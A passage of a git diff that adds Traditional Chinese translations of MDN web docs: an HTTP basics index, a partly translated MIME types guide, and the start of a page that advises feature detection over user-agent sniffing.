+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/basics_of_http/index.html b/files/zh-tw/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..b6aec5125a
--- /dev/null
+++ b/files/zh-tw/web/http/basics_of_http/index.html
@@ -0,0 +1,51 @@
+---
+title: Basics of HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - Guide
+  - HTTP
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP is a pretty extensible protocol. It relies on a few basic concepts like the notion of resources and URIs, a simple structure of messages, and a client-server structure for the communication flow. On top of these basic concepts, numerous extensions have appeared over the years, adding new functionality and new semantics by creating new HTTP methods or headers.</p>
+
+<h2 id="Articles">Articles</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Overview">Overview of HTTP</a></dt>
+ <dd>Describes what HTTP is and its role in the Web architecture, its position in the protocol stack.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolution of HTTP</a></dt>
+ <dd>HTTP was created in the early 1990s and has been extended several times. This article goes through its history and describes HTTP/0.9, HTTP/1.0, HTTP/1.1, and the modern HTTP/2 as well as minor novelties introduced over the years.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Negotiating an HTTP version</a></dt>
+ <dd>Explains how a client and a server can negotiate a specific HTTP version and eventually upgrade the protocol version used.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt>
+ <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt>
+ <dd>Describes how Web resources are referenced and how to locate them.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>A specific kind of URIs that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Resource URLs</a> {{Non-standard_Inline}}</dt>
+ <dd>Resource URLs, URLs prefixed with the <code>resource:</code> scheme, are used by Firefox and Firefox browser extensions to load resources internally, but some of the information is available to sites the browser connects to as well.</dd>
+ <dt>Separating identity and location of a resource: the Alt-Svc HTTP header</dt>
+ <dd>Most of the time identity and location of a Web resource are shared, this can be changed with the {{HTTPHeader("Alt-Svc")}} header.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt>
+ <dd>Since HTTP/1.0, different types of content can be transmitted. This article explains how this is done using the {{HTTPHeader("Content-Type")}} header and the MIME standard.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choosing between www and non-www URLs</a></dt>
+ <dd>Advice on using a www-prefixed domain or not, this article explains the consequences of the choice as well as how to make it.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Flow_of_an_HTTP_session">Flow of an HTTP session</a></dt>
+ <dd>This fundamental article describes a typical HTTP session: what happens under the hood when you click on a link in your browser…</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt>
+ <dd>HTTP Messages transmitted during requests or responses have a very clear structure; this introductory article describes this structure, its purpose and its possibilities.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Frame and message structure in HTTP_2">Frame and message structure in HTTP/2</a></dt>
+ <dd>HTTP/2 encapsulates and represents HTTP/1.x messages in a binary frame. This article explains the frame structure, its purpose and the way it is encoded.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 was the first version of HTTP to support persistent connection and pipelining. This article explains these two concepts.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_2">Connection management in HTTP/2</a></dt>
+ <dd>HTTP/2 completely revisited how connections are created and maintained: this article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Content Negotiation</a></dt>
+ <dd>HTTP introduces a set of headers, starting with <code>Accept-</code> as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react and how it will choose the most adequate response.</dd>
+</dl>
diff --git a/files/zh-tw/web/http/basics_of_http/mime_types/index.html b/files/zh-tw/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..12fd7d7494
--- /dev/null
+++ b/files/zh-tw/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,324 @@
+---
+title: MIME 類別 (IANA 媒體類別)
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+tags:
+  - HTTP
+  - MIME類別
+  - 內容類別
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><strong>媒體類別(多用途網際網路郵件擴展</strong>或是<strong>MIME類別</strong>)是一種表示文件、檔案或各式位元組的標準。它被定義並規範在IETF的</span> {{RFC(6838)}}<strong>。</strong></p>
+
+<p><a href="https://www.iana.org/">國際網路號碼分配局(IANA)</a> 負責所有官方的MIME類別，你可以從他們的 <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">Media Types</a> 頁面找到最新且完整的類別清單。</p>
+
+<div class="warning">
+<p><strong>重要:</strong> 瀏覽器會採用MIME類別， <em>而非副檔名</em> ，來判定如何對URL進行處理。所以伺服器要在回應的{{HTTPHeader("Content-Type")}}裡放入正確的MIME類別，否則瀏覽器很有可能轉譯錯誤或是無法正常運作，造成下載的檔案無法被正常處理。</p>
+</div>
+
+<h2 id="MIME類別的結構">MIME類別的結構</h2>
+
+<p>最簡單的MIME類別由<em>主類別(type)</em>和<em>子類別(subtype)</em>組成。兩個都是字串，並由一個斜線(/)相接，且不能包含任何空格：</p>
+
+<pre class="syntaxbox notranslate"><var>type</var>/<var>subtype</var></pre>
+
+<p><em><strong>主類別(<var>type)</var></strong></em>代表廣泛性的分類，譬如<code>video </code>或 <code>text</code>。<strong><em>子類別</em></strong>(<strong><var>subtype)</var></strong> 則定義該資料精確的MIME類別。例如MIME 類別為<code>text</code>, 子類可能會是 <code>plain</code> (純文字), <code>html</code> ({{Glossary("HTML")}} 源碼), 或<code>calendar</code> (iCalendar/<code>.ics</code>) 檔案。</p>
+
+<p>每一種主類別都可能有一組自己的子類別，MIME類別永遠都有主類別和子類別，從來不會只有單一個。</p>
+
+<p>後面加上的參數可以提供更多細節：</p>
+
+<pre class="syntaxbox notranslate"><var>type</var>/<var>subtype</var>;<var>parameter</var>=<var>value</var></pre>
+
+<p>例如一個MIME類別的主類是 <code>text</code>, 選擇性的 <code>charset</code> 參數可以用來指明資料種所使用的字元集。如果沒有指明<code>charset</code> ，預設使用 {{Glossary("ASCII")}} (<code>US-ASCII</code>) ，除非被{{Glossary("user agent", "user agent's")}} 的設定覆蓋過去。 要指明一個UTF-8 的文字檔，可以使用 <code>text/plain;charset=UTF-8</code> 的MIME類別。</p>
+
+<p>MIME 類別對大小寫不敏感，但通常都會使用小寫。</p>
+
+<h3 id="Types">Types</h3>
+
+<p>There are two classes of type: <strong>discrete</strong> and <strong>multipart</strong>. Discrete types are types which represent a single file or medium, such as a single text or music file, or a single video. A multipart type is one which represents a document that's comprised of multiple component parts, each of which may have its own individual MIME type; or, a multipart type may encapsulate multiple files being sent together in one transaction. For example, multipart MIME types are used when attaching multiple files to an email.</p>
+
+<h4 id="Discrete_types">Discrete types</h4>
+
+<p>The discrete types currently registered with the IANA are:</p>
+
+<dl>
+ <dt><code>application</code><a href="https://www.iana.org/assignments/media-types/media-types.xhtml#application" style="float: right;">List at IANA</a></dt>
+ <dd>Any kind of binary data that doesn't fall explicitly into one of the other types; either data that will be executed or interpreted in some way or binary data that requires a specific application or category of application to use. Generic binary data (or binary data whose true type is unknown) is <code>application/octet-stream</code>. Other common examples include <code>application/pdf</code>, <code>application/pkcs8</code>, and <code>application/zip</code>.</dd>
+ <dt><code>audio</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#audio" style="float: right;">List at IANA</a></dt>
+ <dd>Audio or music data. Examples include <code>audio/mpeg</code>, <code>audio/vorbis</code>.</dd>
+ <dt><code>example</code></dt>
+ <dd>Reserved for use as a placeholder in examples showing how to use MIME types. These should never be used outside of sample code listings and documentation. <code>example</code> can also be used as a subtype; for instance, in an example related to working with audio on the web, the MIME type <code>audio/example</code> can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world.</dd>
+ <dt><code>font</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#font" style="float: right;">List at IANA</a></dt>
+ <dd>Font/typeface data. Common examples include <code>font/woff</code>, <code>font/ttf</code>, and <code>font/otf</code>.</dd>
+ <dt><code>image</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#image" style="float: right;">List at IANA</a></dt>
+ <dd>Image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated {{Glossary("GIF")}} or APNG. Common examples are <code>image/jpeg</code>, <code>image/png</code>, and <code>image/svg+xml</code>.</dd>
+ <dt><code>model</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#model" style="float: right;">List at IANA</a></dt>
+ <dd>Model data for a 3D object or scene. Examples include <code>model/3mf</code> and <code>model/vml</code>.</dd>
+ <dt><code>text</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#text" style="float: right;">List at IANA</a></dt>
+ <dd>Text-only data including any human-readable content, source code, or textual data such as comma-separated value (CSV) formatted data. Examples include <code>text/plain</code>, <code>text/csv</code>, and <code>text/html</code>.</dd>
+ <dt><code>video</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#video" style="float: right;">List at IANA</a></dt>
+ <dd>Video data or files, such as MP4 movies (<code>video/mp4</code>).</dd>
+</dl>
+
+<p>For text documents without a specific subtype, <code>text/plain</code> should be used. Similarly, for binary documents without a specific or known subtype, <code>application/octet-stream</code> should be used.</p>
+
+<h4 id="Multipart_types">Multipart types</h4>
+
+<p id="sect1"><strong>Multipart</strong> types indicate a category of document broken into pieces, often with different MIME types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. They represent a <strong>composite document</strong>.</p>
+
+<p>With the exception of <code>multipart/form-data</code>, used in the {{HTTPMethod("POST")}} method of <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>, and <code>multipart/byteranges</code>, used with {{HTTPStatus("206")}} <code>Partial Content</code> to send part of a document, HTTP doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "Save As" window if it doesn't know how to display the document).</p>
+
+<p>There are two multipart types:</p>
+
+<dl>
+ <dt><code>message</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#message" style="float: right;">List at IANA</a></dt>
+ <dd>A message that encapsulates other messages. This can be used, for instance, to represent an email that includes a forwarded message as part of its data, or to allow sending very large messages in chunks as if it were multiple messages. Examples include <code>message/rfc822</code> (for forwarded or replied-to message quoting) and <code>message/partial</code> to allow breaking a large message into smaller ones automatically to be reassembled by the recipient.</dd>
+ <dt><code>multipart</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#multipart" style="float: right;">List at IANA</a></dt>
+ <dd>Data that is comprised of multiple components which may individually have different MIME types. Examples include <code>multipart/form-data</code> (for data produced using the {{domxref("FormData")}} API) and <code>multipart/byteranges</code> (defined in {{RFC(7233, "5.4.1")}} and used with {{Glossary("HTTP")}}'s {{HTTPStatus(206)}} "Partial Content" response returned when the fetched data is only part of the content, such as is delivered using the {{HTTPHeader("Range")}} header).</dd>
+</dl>
+
+<h2 id="重要的MIME類別">重要的MIME類別</h2>
+
+<h3 id="applicationoctet-stream">application/octet-stream</h3>
+
+<p>這是二進制檔案的預設類別，代表未知的二進制檔案，通常瀏覽器都不執行或是會詢問是否要執行。They treat it as if the {{HTTPHeader("Content-Disposition")}} header was set to <code>attachment</code>, and propose a "Save As" dialog.</p>
+
+<h3 id="textplain">text/plain</h3>
+
+<p>文字檔案的預設類別。就算是未知的文字檔案，瀏覽器都先假設他們是可以被呈現於畫面的。</p>
+
+<div class="blockIndicator note">
+<p>注意 <code>text/plain</code> 不代表"任何一種文字檔案"。例如從用於表示CSS檔案的{{HTMLElement("link")}}元素載了一個 <code>text/plain</code> 檔案，瀏覽器不會識別該檔案為一個有效的CSS檔案。CSS的MIME類別必須要使用 <code>text/css</code>。</p>
+</div>
+
+<h3 id="textcss">text/css</h3>
+
+<p>用來套用在網頁的 CSS 檔案<strong>一定要</strong>配合 <code>text/css</code> 做傳輸。如果伺服器沒有將副檔名 <code>.css</code> 視為 CSS 檔案，伺服器有可能會使用 <code>text/plain</code> 或是 <code>application/octet-stream</code> 的 MIME 型態來傳輸檔案，而導致這些檔案不被大多數的瀏覽器當成 CSS 而被忽略。</p>
+
+<h3 id="texthtml">text/html</h3>
+
+<p>All HTML content should be served with this type. Alternative MIME types for XHTML (like <code>application/xhtml+xml</code>) are mostly useless nowadays.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Use <code>application/xml</code> or <code>application/xhtml+xml</code> if you want XML’s strict parsing rules, <code><a href="/en-US/docs/Web/API/CDATASection">&lt;![CDATA[…]]&gt;</a></code> sections, or elements that aren't from HTML/SVG/MathML namespaces.</p>
+</div>
+
+<h3 id="textjavascript"><span id="JavaScript_types">text/javascript</span></h3>
+
+<p>Per the HTML specification, JavaScript files should always be served using the MIME type <code>text/javascript</code>. No other values are considered valid, and using any of those may result in scripts that do not load or run.</p>
+
+<p>For historical reasons, the <a href="https://mimesniff.spec.whatwg.org/">MIME Sniffing Standard</a> (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows JavaScript to be served using any MIME type that essentially matches any of the following:</p>
+
+<ul>
+ <li><code>application/javascript</code></li>
+ <li><code>application/ecmascript</code></li>
+ <li><code>application/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>application/x-javascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript</code></li>
+ <li><code>text/ecmascript</code></li>
+ <li><code>text/javascript1.0</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.1</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.2</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.3</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.4</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.5</code> {{Non-standard_Inline}}</li>
+ <li><code>text/jscript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/livescript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-javascript</code> {{Non-standard_Inline}}</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Even though any given {{Glossary("user agent")}} may support any or all of these, you should only use <code>text/javascript</code>. It's the only MIME type guaranteed to work now and into the future.</p>
+</div>
+
+<p>Some content you find may have a <code>charset</code> parameter at the end of the <code>text/javascript</code> media type, to specify the character set used to represent the code's content. This is not valid, and in most cases will result in a script not being loaded.</p>
+
+<h3 id="Image_types">Image types</h3>
+
+<p>Files whose MIME type is <code>image</code> contain image data. The subtype specifies which specific image file format the data represents. Only a few image types are used commonly enough to be considered safe for use on web pages:</p>
+
+<p>{{page("en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}</p>
+
+<h3 id="Audio_and_video_types">Audio and video types</h3>
+
+<p>As is the case for images, HTML doesn't mandate that web browsers support any specific file and codec types for the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements, so it's important to consider your target audience and the range of browsers (and versions of those browsers) they may be using when choosing the file type and codecs to use for media.</p>
+
+<p>Our <a href="/en-US/docs/Web/Media/Formats/Containers">media container formats guide</a> provides a list of the file types that are commonly supported by web browsers, including information about what their special use cases may be, any drawbacks they have, and compatibility information, along with other details.</p>
+
+<p>The <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codec</a> and <a href="/en-US/docs/Web/Media/Formats/Video_codecs">video codec</a> guides list the various codecs that web browsers often support, providing compatibility details along with technical information such as how many audio channels they support, what sort of compression is used, and what bit rates and so forth they're useful at. The <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">codecs used by WebRTC</a> guide expands upon this by specifically covering the codecs supported by the major web browsers, so you can choose the codecs that best cover the range of browsers you wish to support.</p>
+
+<p>As for MIME types of audio or video files, they typically specify the container format (file type). The optional <a href="/en-US/docs/Web/Media/Formats/codecs_parameter">codecs parameter</a> can be added to the MIME type to further specify which codecs to use and what options were used to encode the media, such as codec profile, level, or other such information.</p>
+
+<p>The most commonly used MIME types used for web content are listed below. This isn't a complete list of all the types that may be available, however. See the <a href="/en-US/docs/Web/Media/Formats/Containers">media container formats</a> guide for that.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">MIME type</th>
+   <th scope="col">Audio or video type</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><br>
+    <code>audio/wav</code><br>
+    <code>audio/x-wav</code><br>
+    <code>audio/x-pn-wav</code></td>
+   <td>An audio file in the WAVE container format. The PCM audio codec (WAVE codec "1") is often supported, but other codecs have limited support (if any).</td>
+  </tr>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td>An audio file in the WebM container format. Vorbis and Opus are the codecs officially supported by the WebM specification.</td>
+  </tr>
+  <tr>
+   <td><code>video/webm</code></td>
+   <td>A video file, possibly with audio, in the WebM container format. VP8 and VP9 are the most common video codecs; Vorbis and Opus the most common audio codecs.</td>
+  </tr>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td>An audio file in the Ogg container format. Vorbis is the most common audio codec used in such a container; however, Opus is now supported by Ogg as well.</td>
+  </tr>
+  <tr>
+   <td><code>video/ogg</code></td>
+   <td>A video file, possibly with audio, in the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec, although Opus is becoming more common.</td>
+  </tr>
+  <tr>
+   <td><code>application/ogg</code></td>
+   <td>An audio or video file using the Ogg container format. Theora is the usual video codec used within it; Vorbis is the usual audio codec.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data">multipart/form-data</h3>
+
+<p>The <code>multipart/form-data</code> type can be used when sending the values of a completed <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a> from browser to server.</p>
+
+<p>As a multipart document format, it consists of different parts, delimited by a boundary (a string starting with a double dash <code>--</code>). Each part is its own entity with its own HTTP headers, {{HTTPHeader("Content-Disposition")}}, and {{HTTPHeader("Content-Type")}} for file uploading fields.</p>
+
+<pre class="syntaxbox notranslate">Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+</pre>
+
+<p>The following <code>&lt;form&gt;</code>:</p>
+
+<pre class="brush: html notranslate">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+  &lt;label&gt;Name: &lt;input name="myTextField" value="Test"&gt;&lt;/label&gt;
+  &lt;label&gt;&lt;input type="checkbox" name="myCheckBox"&gt; Check&lt;/label&gt;
+  &lt;label&gt;Upload file: &lt;input type="file" name="myFile" value="test.txt"&gt;&lt;/label&gt;
+  &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>will send this message:</p>
+
+<pre class="notranslate">POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges">multipart/byteranges</h3>
+
+<p>The <code>multipart/byteranges</code> MIME type is used to send partial responses to the browser.</p>
+
+<p>When the {{HTTPStatus("206")}}<code> Partial Content</code> status code is sent, this MIME type indicates that the document is composed of several parts, one for each of the requested ranges. Like other multipart types, the {{HTTPHeader("Content-Type")}} uses a <code>boundary</code> to separate the pieces. Each piece has a {{HTTPHeader("Content-Type")}} header with its actual type and a {{HTTPHeader("Content-Range")}} of the range it represents.</p>
+
+<pre class="notranslate"><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="Importance_of_setting_the_correct_MIME_type">Importance of setting the correct MIME type</h2>
+
+<p>Most web servers send unrecognized resources as the <code>application/octet-stream</code> MIME type. For security reasons, most browsers do not allow setting a custom default action for such resources, forcing the user to save it to disk to use it.</p>
+
+<p>Some common incorrect server configurations:</p>
+
+<ul>
+ <li>
+  <p>RAR-compressed files. In this case, the ideal would be the true type of the original files; this is often impossible as .RAR files can hold several resources of different types. In this case, configure the server to send <code>application/x-rar-compressed</code>.</p>
+ </li>
+ <li>
+  <p>Audio and video. Only resources with the correct MIME Type will be played in {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements. Be sure to specify the correct <a href="/en-US/docs/Web/Media/Formats">media type for audio and video</a>.</p>
+ </li>
+ <li>
+  <p>Proprietary file types. Avoid using <code>application/octet-stream</code> as most browsers do not allow defining a default behavior (like "Open in Word") for this generic MIME type. A specific type like <code>application/vnd.mspowerpoint</code> lets users open such files automatically in the presentation software of their choice.</p>
+ </li>
+</ul>
+
+<h2 id="MIME_sniffing">MIME sniffing</h2>
+
+<p>In the absence of a MIME type, or in certain cases where browsers believe they are incorrect, browsers may perform <em>MIME sniffing</em> — guessing the correct MIME type by looking at the bytes of the resource.</p>
+
+<p>Each browser performs MIME sniffing differently and under different circumstances. (For example, Safari will look at the file extension in the URL if the sent MIME type is unsuitable.) There are security concerns as some MIME types represent executable content. Servers can prevent MIME sniffing by sending the {{HTTPHeader("X-Content-Type-Options")}} header.</p>
+
+<h2 id="Other_methods_of_conveying_document_type">Other methods of conveying document type</h2>
+
+<p>MIME types are not the only way to convey document type information:</p>
+
+<ul>
+ <li>Filename suffixes are sometimes used, especially on Microsoft Windows. Not all operating systems consider these suffixes meaningful (such as Linux and MacOS), and there is no guarantee they are correct.</li>
+ <li>Magic numbers. The syntax of different formats allows file-type inference by looking at their byte structure. For example, GIF files start with the <code>47 49 46 38 39</code> hexadecimal value (<code>GIF89</code>), and PNG files with <code>89 50 4E 47</code> (<code>.PNG</code>). Not all file types have magic numbers, so this is not 100% reliable either.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Properly configuring server MIME types</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html
new file mode 100644
index 0000000000..4fed2d0727
--- /dev/null
+++ b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.html
@@ -0,0 +1,372 @@
+---
+title: 透過用戶代理偵測瀏覽器
+slug: Web/HTTP/Browser_detection_using_the_user_agent
+translation_of: Web/HTTP/Browser_detection_using_the_user_agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>針對不同的瀏覽器給予不同的網頁或服務，通常不是好主意：網路的原意，是要讓所有人都能訪問，無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於（瀏覽器）功能可用性的漸進增強法開發，而不是特別指定某種瀏覽器。</p>
+
+<p>不過瀏覽器與標準並不是完美的，有些特殊情況依舊需要偵測瀏覽器。透過用戶代理（user agent）去偵測瀏覽器看似簡單，要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。</p>
+
+<div class="note">
+<p>因為很重要所以再說一次：實行用戶代理嗅探（User Agent sniffing）通常不是好主意。問題通常都會有更好、更通用的解決方法！</p>
+</div>
+
+<h2 id="使用瀏覽器偵測前應當考慮什麼">使用瀏覽器偵測前應當考慮什麼</h2>
+
+<p>在考慮透過用戶代理字串，去偵測使用瀏覽器時，首先要盡可能避免這種用法。先從認清<strong>為什麼</strong>要這麼做開始。</p>
+
+<dl>
+ <dt>你正針對某瀏覽器的特定錯誤奮戰著？</dt>
+ <dd>去專業論壇閱讀或提問：你不太可能是第一個碰上問題的人。另外，去找專家、或只是與你有不同觀點的人問問看，也會對你的除錯思路有所幫助。如果問題看來頗為罕見，你應該去檢查這個錯誤是不是透過缺陷跟蹤管理系統（bug tracking system：<a class="link-https" href="https://bugzilla.mozilla.org">Mozilla</a>、<a class="external" href="http://bugs.webkit.org">WebKit</a>、<a href="https://www.chromium.org/issue-tracking">Blink</a>、<a class="link-https" href="https://bugs.opera.com/">Opera</a>）報告到瀏覽器供應商。瀏覽器供應商很重視錯誤報告，相關分析也可能提示該錯誤的其他解決辦法。</dd>
+ <dt>你正試圖檢查某個特定功能是否存在？</dt>
+ <dd>你的網站需要用到某些瀏覽器不支援的功能，並給這些用戶功能更少，但你知道能正常顯示的網站。這類用戶代理嗅探的理由非常糟糕，因為大多數的瀏覽器，最終都有可能支援該功能。對所有瀏覽器都予以測試也不實際。<strong>絕對不要</strong>用戶代理嗅探、功能偵測是<strong>永遠</strong>的替代方案。</dd>
+ <dt>你希望給不同的瀏覽器不同的 HTML？</dt>
+ <dd>這種作法通常不太好，不過有時候卻是必要的。在此種情況下，你首先要分析是否真該這麼做。你能藉由加入某些無語意的 {{ HTMLElement("div") }} 或 {{ HTMLElement("span") }} 元素避免嗎？與難以完成的用戶代理偵測比起來，HTML 整潔性的稍稍降低變得相當值得。另外，請重新構思你的設計：你能藉由漸進增強或是流動排版（fluid layouts）來消除用戶代理偵測的需求嗎？</dd>
+</dl>
+
+<h2 id="避免用戶代理偵測">避免用戶代理偵測</h2>
+
+<p>如果要避免用戶代理偵測，有以下選項！</p>
+
+<dl>
+ <dt>功能偵測</dt>
+ <dd>功能偵測使你無須弄清是哪種瀏覽器在渲染你的網頁，只須檢查需要的具體功能是否能用。如果不能用，就採取備用方案。在極少數的情況下，各瀏覽器行為有所不同。面對這種情況，不要偵測用戶代理，而是用實作測試來檢查瀏覽器 API、並搞清楚用法。最近有個好例子：<a href="https://www.chromestatus.com/feature/5668726032564224">Chrome 針對正規表達式，添加了實驗性的 lookbehind 支援</a>，但其他瀏覽器並不支援。你可能以為要這麼用：</dd>
+ <dd>
+ <pre class="brush: js notranslate">// 這個程式以特殊表示法把字串分開來
+
+if (navigator.userAgent.indexOf("Chrome") !== -1){
+    // 好，這用戶應該是支援 look-behind regexps
+    // 不要在不支援該功能的瀏覽器使用 /(?&lt;=[A-Z])/
+    // 因為瀏覽器都會解析整個腳本，包括從未執行過的代碼部分。
+    // 進而讓不支援該功能的瀏覽器拋出語法錯誤。
+    var camelCaseExpression = new RegExp("(?&lt;=[A-Z])");
+    var splitUpString = function(str) {
+        return (""+str).split(camelCaseExpression);
+    };
+} else {
+    /* 這個語法的性能差得多，但能動 */
+    var splitUpString = function(str){
+        return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+    };
+}
+console.log(splitUpString("fooBare")); // ["fooB", "are"]
+console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]</pre>
+
+ <p>但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢？如果其他瀏覽器支援了 lookbehind 正規表達式呢？如果其他瀏覽器在用戶代理名字內，混入了 <em>Chrome</em> 呢？這個列表會因此，讓可怕的錯誤不斷發生。因此，你應該用以下的功能檢測：</p>
+
+ <pre class="brush: js notranslate">var isLookBehindSupported = false;
+try {
+    isLookBehindSupported = !!new RegExp("(?&lt;=)");
+} catch(e){
+    // 不支援的瀏覽器會出現 lookbehind expressions err
+}
+var splitUpString = isLookBehindSupported ? function(str) {
+    return (""+str).split(new RegExp("(?&lt;=[A-Z])"));
+} : function(str) {
+    return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+};
